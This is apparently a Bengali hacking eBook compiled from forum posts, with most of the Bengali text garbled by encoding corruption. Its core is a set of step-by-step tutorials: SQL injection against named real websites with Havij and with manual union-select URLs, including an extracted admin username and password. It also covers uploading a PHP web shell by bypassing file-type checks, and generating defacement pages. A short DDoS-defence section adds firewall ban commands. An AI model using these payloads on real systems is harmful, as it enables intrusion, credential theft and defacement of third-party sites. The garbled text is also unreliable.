৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 2: Hacking Bangla eBook

যাকায চছেন সআ ফযকতি কতমকতন কতনযাততাকতনযাততায াচছথ জকতিত এফং কতনযাততা ফযফসথায দফবর কতদক খচছজ সফয কযায কতফচছলবাচছফ দকষ থফা নয ককতিউটায ফযফসথায বফধ নপরচছফ কযচছত কষভ ফা এয িচছকব গবীযজঞাচছনয কতধকাযী াধাযনবাচছফ যাকায বদটি কাচছরা-টকত যাকায চছথবআ ফচছচচছয সফকত ফযফহত য মাযা ভরত ধবংভরক ফা যাধভরক কভবকানড কচছয থাচছকন এছািা অচছযা ননকততক যাকায যচছযচছছন (মাযা াধাযনবাচছফ াদা টকত যাকায নাচছভ কতযকতচত) এফং ননকততকতা িচছকব কতযষকায যাকায অচছছন মাচছদয ধয টকত যাকায ফচছর এচছদয ভচছধয াথবকয কযায জনয পরায করযাকায বদটি ফযফায কযা য মা ককতিউটায কতনযাততা যাকায সথচছক একাচছডকতভক কতফলচছযয যাকায সথচছক অরাদা কযায জনয ফযফায কযা য থফা াধ যাকায (কাচছরা টকত যাকায) সথচছক ননকততক যাকাচছযয (াদা টকত যাকায) াথবকয ফঝাচছত ফযফহত য যাকাযযা বাচব যার জগচছত নতন কতকছ কতি কযচছত াচছযভযায ভাধান কযচছত াচছয তাযা সবাধীনতা এফং াযসপকতযক চছমাগীতায কতফশবাী যাকায যায ফবপরথভ তব চছে অনাচছক অচছগ ঠিক কযচছত চছফ অকতন সকান ধযচছনয যাকায চছফন উচছয ৩ ধযচছনয যাকায িচছকব ফরা চছযচছছঅনাচছদয কতফধাচছথব অচছযকট সাি কযকতছ

াদা টকত যাকায (White Hat Hacker)- এযা ককতিউটায তথা াআফাযযাচছডব য কতনযাততা পরদান কচছয এযা কখন চছযয কষকতত াধন কচছয নাএচছদযচছক আকতথকার যাকায ফরা চছয থাচছক

ধয টকত যাকায (Grey Hat Hacker)- এযা এভন একধযচছনয যাকায মাযাাদা টকত কাচছরা টকতচছদয ভধযফতী সথাচছন ফসথান কচছয এযা আচছে কযচছরকায কষকতত াধন কযচছত াচছয অফায উকায কযচছত াচছয

কাচছরা টকত যাকায (Black Hat Hacker)- যাকায ফরচছত াধাযনত কাচছরা টকতযাকাযচছদযআ ফঝায এযা ফভযআ সকান না সকান বাচছফ চছযয কষকতত াধন কচছযাআফায যাচছডব এযা ফভযআ ঘকতনত চছয থাচছকএছািা অয কতকছ যাকায ধযন যচছযচছছ সমভন -

কতিপট কতককতড (Script Kidie)- এযা কতনচছজযা কতকছআ াচছয না ফযং কতফকতবননটরস ফা চছনযয ফানাচছনা কতিপট ফযফায কচছয এযা কাচছমবাকতকতি কচছয

কতনপাআট ফা সনাফ (Neophyte or nOOb)- এযা যাকতকং কতকষাথী এযা যাকতকং সকফর কতখচছছ নয চছথব এচছদয কতফকতগনায ফা কতনউফাআ ফরা মায

নীর টকত যাকায (Blue Hat Hacker)- এযা অচছর যাকতকংচছযয াচছথ সতভনজকতিত নয সকান পটযায ফা কতরচছখচছছনঃ সভচছকতদ াান

যাকায মাযা

যাকায চছেন একজন ফযাকতি কতমকতন শধভাতর কতফকতবনন ভাধযভকতচছেভ এয খত খচছজ সফয কচছয কতকনত কততকতন এয কষকততাধন কচছযন না একজন যাকায ভরত একজন সপরাগরাভায মায পরধান কাজ চছে নরাআচছন সকান কতচছেচছভয খাযাকতদকগচছরা খচছজ সফয কযা তাযা সপরাগরাভায এফং তাযা সপরাগরাভ নতন নতন খতচছফয কযচছত ফযফায কচছয

যাকায সপাযাভ

অকতন একজন যাকায চছত চছর পরথচছভ অনাচছক কতফকতবনন আকতথকার যাকায মাযাভরত আকতরট (এ ফযাাচছয অচছগয ধযাচছয ফরা চছযচছছ) তাচছদয সথচছক গরতবণব টিগচছরা কতচছখ কতনচছত চছফ অয কতফকতবনন ধযচছনয টি কতনচছয অচছরাচনা য সপাযাচছভকতনচছচ যাকাযচছদয জনয কচছযকটি গরতবণব সপাযাচছভয কতরংক পরদান কযা র সপাযাভগচছরাচছত সমাগকতদন এফং কতনযকতভত সািগচছরা িন সকান কতফলয জানচছত চাআচছর সখাচছনআ াাময চাআচছত াচছযন

wwwhackerthreadsorgwwwhackforumsnetwwwhackerorgforumwwwcrackhackforumcom

যাকতকংকতযচছাব

যাকতকং কযচছত চছর কতফকতবনন পটযযায পরচছযাজন য পরচছযাজন য সকাড কতিপট ডকব আতযাকতদয কতনচছচ কতকছ কতরংক সদযা র সমখান সথচছক অকতন চছনকভরযফান যাকতকং কতযচছাব সচছত াচছযন মা অনাচছক যাকায চছত াাময কযচছফ

